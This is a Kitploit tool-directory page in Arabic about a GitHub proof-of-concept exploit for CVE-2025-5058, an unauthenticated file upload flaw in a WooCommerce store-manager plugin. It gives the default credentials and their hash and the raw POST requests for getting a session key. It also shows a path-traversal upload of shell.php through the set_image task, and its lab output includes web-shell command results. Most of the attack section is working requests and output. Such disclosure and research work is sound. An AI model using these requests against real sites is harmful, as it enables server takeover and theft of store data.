Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-5058 — eMagicOne Store Manager for WooCommerce <= 1.2.5 - رفع ملف تعسفي غير مصادق عليه عبر مهمة set_image | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-5058
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubd0n601/cve-2025-5058

CVE-2025-5058

eMagicOne Store Manager for WooCommerce <= 1.2.5 - رفع ملف تعسفي غير مصادق عليه عبر مهمة set_image

عرض المستودع
111منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

eMagicOne Store Manager for WooCommerce <= 1.2.5 - رفع ملف تعسفي غير موثوق عبر مهمة set_image

يُعرّض إضافة eMagicOne Store Manager for WooCommerce نقطة نهاية بروتوكول إدارة عن بُعد (?connector=bridge) تسمح برفع الملفات إلى الخادم. تعتمد آلية المصادقة على زوج من بيانات الاعتماد الافتراضية (login=1, password=1) ونظام مفتاح جلسة. إذا لم يتم تغيير بيانات الاعتماد الافتراضية، يمكن للمهاجم المصادقة بسهولة، والحصول على مفتاح جلسة، ورفع ملفات تعسفية (بما في ذلك قذائف PHP) إلى جذر ووردبريس أو أي دليل قابل للكتابة عبر مهمة set_image.

إعادة الإنتاج

  • تم توفير ملف POC CVE-2025-5058.py لإظهار مهاجم يرفع قذيفة ويب باسم shell.php.
python CVE-2025-5058.py https://lab1.hacker      

[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24"}
[+] Got session key: 03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24
[*] Uploading file via set_image...
[*] Upload response: <br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>324</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>325</b><br />
{"response_code":"19","message":"Unable to resize one or more of your pictures"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 82708sec preferred_lft 82708sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 85990sec preferred_lft 13990sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:0a:f0:30:8c brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

التدفق القابل للاستغلال

بيانات الاعتماد الافتراضية وحساب التجزئة

عند تفعيل الإضافة، يتم تعيين الثوابت التالية في smconnector.php:

define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

التجزئة الافتراضية المستخدمة للمصادقة هي:

'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

النتيجة: التجزئة الافتراضية هي md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.

الحصول على مفتاح الجلسة

يتم الحصول على مفتاح جلسة عن طريق إرسال طلب POST إلى نقطة نهاية الجسر مع التجزئة والمهمة (مثل get_version):

POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (الأسطر ~441-525):

private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... التحقق من مفتاح الجلسة ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... خطأ ...
        }
        $key = $this->generate_session_key( $hash );
        // ... إرجاع مفتاح الجلسة ...
    }
}

تخزين مفتاح الجلسة

يُخزَّن مفتاح الجلسة في جدول wp_smconnector_session_keys:

private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' + self::TABLE_SESSION_KEYS
        + "` (`session_key`, `date_added`, `last_activity`) VALUES ('" + $this->shop_cart->p_sql( $key ) + "', '"
        + $date + "', '" + $date + "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

رفع ملف تعسفي

باستخدام مفتاح جلسة صالح، يمكن للمهاجم رفع ملف باستخدام مهمة set_image، مستغلاً المعلمات لكتابة ملفات تعسفية:

POST /?connector=bridge
Content-Type: multipart/form-data

task=set_image&entity_type=product&image_id=../../shell.php&key=<session_key>
[email protected];type=text/plain

الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (الأسطر ~2115+):

private function set_image() {
    // ... التحقق من المعاملات ...
    if ( ! $this->shop_cart->set_image( $entity_type, $image_id, self::UPLOAD_FILE_NAME, $type ) ) {
        $this->generate_error( $this->br_errors['upload_image_error'] );
    }
}

classes/class-emosmcwoocommerceoverrider.php (الأسطر ~272+):

public function set_image( $entity_type, $image_id, $img, $type ) {
    // ...
    $destination_path = $this->get_shop_root_dir() . "$entity_type/$image_id";
    // ...
    $result = move_uploaded_file( $tmp_name, $destination_path );
    // ...
}

النتيجة: تتم كتابة الملف إلى جذر ووردبريس (أو أي دليل محدد، عبر تجاوز المسار في image_id).

تنزيل الأداة